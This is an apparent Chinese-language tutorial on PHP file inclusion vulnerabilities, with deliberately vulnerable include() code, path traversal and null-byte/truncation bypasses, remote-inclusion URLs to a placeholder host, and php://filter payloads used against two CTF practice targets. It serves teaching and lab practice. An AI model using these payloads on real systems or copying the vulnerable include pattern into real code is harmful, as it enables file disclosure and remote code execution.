简单了解WEB漏洞-文件包含漏洞


原理

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

演示代码

<?php
$filename = $_GET['filename']
include($filename)
?> 

在网站目录下有一个php.txt文件 文件的内容是<?php phpinfo();?>

向filename传参将1.txt包含进去

127.0.0.1/test,php?filename=1.txt

image-20211127184133791

成功执行php代码

文件包含还可以包含不同目录下的文件,我在D盘根目录下有一个1.txt 内容同样是<?php phpinfo();?>

image-20211127185619927

因此url应该这样写

127.0.0.1/test,php?filename=../../../1.txt

image-20211127185535216

文件包含各个脚本代码

ASP,PHP,JSP,ASPX等









<%@ include file="head.jsp"%>

<?php Include('test.php')?>

本地包含-有限制

<?php
$filename=$_GET['filename'];
include($filename.".html");
?> 

绕过方法

%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4

filename=…/…/…/www.txt%00

长度截断:条件:windows,点号需要长于256;linux 长于4096

远程包含-有限制

image-20211127191730642

只有这个开关打开才允许远程上传

无限制

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt

有限制

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt%23

http://127.0.0.1/test.php?filename=http://www.xxxx.com/1.txt?

各种协议流玩法

各环境支持的协议

image-20211127193142222

php伪协议

image-20211127193303745

靶场演

https://www.ichunqiu.com/battalion?t=1&r=0

image-20211127200733892

image-20211127201038381

根据代码可知传递path值即可

使用php伪协议

image-20211127201320102

发现一个可疑的php文件

image-20211127201345074

访问看下

image-20211127201456854

查看页面源代码

image-20211127201601762

完事

靶场二

asdf (chinalover.sinaapp.com)

image-20211127204614319

url上有一个file可以猜测是包含的文件名

使用php伪协议读取文件源码

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

base64加密

image-20211127205240574

解码后的结果